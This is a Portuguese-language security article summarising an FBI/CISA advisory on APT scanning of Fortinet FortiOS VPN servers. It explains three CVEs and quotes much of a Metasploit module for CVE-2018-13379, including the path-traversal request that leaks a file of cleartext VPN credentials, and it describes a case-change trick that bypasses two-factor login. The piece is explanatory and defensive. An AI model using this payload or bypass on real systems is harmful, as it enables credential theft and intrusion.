FBI notifica sobre ataques coordenados em servidores FortiOS

Vulnerabilidades em FortiOS

O FBI (Federal Bureau of Investigation) e a CISA (Cybersecurity and Infrastructure Security Agency) dos Estados Unidos geraram um relatório conjunto onde detalham atividades crescentes de grupos APTs, envolvendo a enumeração de servidores FortiOS por vulnerabilidades conhecidas, que permitem coleta de informações para usuários não-autenticados e potencialmente podem facilitar um comprometimento de uma conta de usuário. As vulnerabilidades em questão são:

- CVE-2019-5591
- CVE-2020-12812
- CVE-2018-13379, para a qual os atacantes escaneiam as portas 4443, 8443 e 10443 pelo portal de login da VPN da Fortinet em SSL.

Segundo o relatório, o ataque consiste em uma estratégia de enumeração de serviços vulneráveis para que acesso possa ser obtido para ataques futuros.

Seguindo o mesmo *modus operandi* de outras ações associadas a atores estatais contra os Estados Unidos, os atacantes fazem uso de CVEs já descobertas ou métodos como *spearphishing* para atacar setores de infraestrutura, buscando ataques distribuídos de negação de serviço (DDoS) ou extração ou criptografia de dados (*ransomwares*).

Segundo a reportagem do Bleeping Computer, os ataques em servidores Fortinet não são novidade. Os mesmos já haviam sido vitimados durante as eleições americanas de 2020 por sua utilização em softwares de sistemas de apoio no processo eleitoral, com o intuito de gerar desinformação e minar a confiança no processo democrático americano. Na ocasião, a Microsoft atribuiu os ataques à grupos do Irã, da China e da Rússia.

Funcionamento das Vulnerabilidades

CVE-2018-13379 - Path Traversal Vulnerability
Uma vulnerabilidade de *path traversal* se caracteriza por um atacante enviar uma request para um servidor web, tentando explorar falhas de configuração para acessar arquivos e diretórios que devem estar fora de seu alcance. Para a tal, a request enviada pelo atacante usa sequências *dot-dot-slash* ("/../") para tentar manipular o que o servidor o permite acessar.

- *Descrição de Path Traversal Vulnerability na OWASP*
- Exploit-DB - Código-fonte do exploit do CVE presente do Metasploit

Se acessarmos o link do código-fonte do exploit (escrito em Ruby), podemos ver a descrição de sua funcionalidade - Usando a vulnerabilidade de *Path Traversal* descoberta nas versões especificadas do FortiOS, o código envia uma request para o portal de login Web que permite ler um arquivo contendo os logins e senhas sem qualquer tipo de obfuscação.

```
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Post::File
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SSL VPN FortiOs - System file leak',
      'Description'    => %q{
        FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests.
        This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords i
(clear/text).
        This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
      },
      'References'     =>
        [
          [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379' ]
        ],
      'Author'         => [ 'lynx (Carlos Vieira)' ],
      'License'        => MSF_LICENSE,
```

```
        'DefaultOptions' =>
        {
          'RPORT' => 443,
          'SSL' => true
        },
    ))

end
```

Na função *run*, podemos observar a request que é enviada para a obtenção das informações no arquivo sslvpn_websession presente no servidor. Para a leitura subsequente, uma outra função *parse* é utilizada para a transformação do conteúdo do arquivo em algo legível.

Note o 'payload' que será enviado na request em *send_request_raw* - Tal payload é o que permite a exploração da vulnerabilidade mencionada para a obtenção da informação valiosa.

```
def run()
  print_good("Checking target...")
  res =
send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websessio

  if res && res.code == 200
    print_good("Target is Vulnerable!")
    data = res.body
    current_host = datastore['RHOST']
    filename = "msf_sslwebsession_"+current_host+".bin"
    File.delete(filename) if File.exist?(filename)
    file_local_write(filename, data)
    print_good("Parsing binary file.......")
    parse()
  else
    if(res && res.code == 404)
      print_error("Target not Vulnerable")
    else
      print_error("Ow crap, try again...")
    end
  end
end
```

- Youtube - Prova de Conceito da vulnerabilidade usando Metasploit

CVE-2019-5591 - Default Configuration Vulnerability

Em servidores FortiOS até 6.2.0, uma vulnerabilidade permite que um atacante não autenticado, que esteja na mesma sub-rede, intercepte informações por meio de personificação do servidor LDAP(Lightweight Directory Access Protocol).

LDAP é um protocolo usado para autenticação em directory services, que por sua vez armazenam informações como usuários, senhas e contas, e compartilham informações para outras entidades relevantes dentro de uma rede. A CVE reportada em 2019 detalha que um atacante pode "se passar" pelo servidor LDAP mencionado, assim recebendo informações privilegiadas sem as permissões necessárias.

- Advisory da Fortinet sobre a vulnerabilidade
- Registro da vulnerabilidade em cve.mitre.org

CVE-2020-12812 - Improper Authentication Vulnerability

Outra vulnerabilidade no portal web da SSL VPN do FortiOS, a CVE permite que um usuário faça login sem precisar cumprir a verificação de duas etapas (FortiToken).

O erro ocorre na verificação da capitalização das letras no nome de usuário (*case sensitive matching*) na configuração da autenticação remota, durante a interação da mesma com o Windows Active Directory - Uma conta de usuário que faça uso de autenticação remota, como LDAP, pode evitar a segunda etapa de verificação durante o login simplesmente mudando as letras de seu nome de usuário de maísculas para minúsculas (ou vice-versa).

- Advisory no site da Fortinet sobre a vulnerabilidade
- Nota técnica na configuração de LDAP no site da Fortinet
- Registro da vulnerabilidade em cve.mitre.org

Revision #6
Created Mon, Apr 5, 2021 5:10 PM by Victor
Updated Thu, Apr 8, 2021 9:17 PM by Victor